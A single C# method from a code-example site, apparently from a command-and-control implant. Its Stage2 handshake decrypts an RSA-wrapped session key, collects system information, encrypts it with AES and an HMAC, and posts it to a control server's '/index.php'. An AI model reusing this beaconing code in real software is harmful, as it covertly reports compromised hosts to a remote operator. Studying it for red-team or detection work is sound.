Exemplo n.º 1
0
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        private byte[] Stage2(byte[] stage1response)
        {
            Random random = new Random();

            ////////////////////////////////////////////////////////////////////////////////
            byte[] decrypted       = rsaCrypto.Decrypt(stage1response, false);
            string decryptedString = Encoding.ASCII.GetString(decrypted);
            string nonce           = decryptedString.Substring(0, 16);

            sessionInfo.SetSessionKey(decryptedString.Substring(16, decryptedString.Length - 16));
            byte[] keyBytes = Encoding.ASCII.GetBytes(sessionInfo.GetSessionKey());

            ////////////////////////////////////////////////////////////////////////////////
            long increment = Convert.ToInt64(nonce);

            increment++;
            nonce = increment.ToString();
            byte[] systemInformationBytes = GetSystemInformation(nonce + "|", string.Join(",", sessionInfo.GetControlServers()));
            byte[] initializationVector   = new byte[16];
            random.NextBytes(initializationVector);
            byte[] encryptedInformationBytes = aesEncrypt(keyBytes, initializationVector, systemInformationBytes);
            encryptedInformationBytes = Misc.combine(initializationVector, encryptedInformationBytes);

            ////////////////////////////////////////////////////////////////////////////////
            using (HMACSHA256 hmac = new HMACSHA256())
            {
                hmac.Key = keyBytes;
                byte[] hmacHash = hmac.ComputeHash(encryptedInformationBytes).Take(10).ToArray();
                encryptedInformationBytes = Misc.combine(encryptedInformationBytes, hmacHash);
            }

            ////////////////////////////////////////////////////////////////////////////////
            return(SendStage(0x03, encryptedInformationBytes, "/index.php"));
        }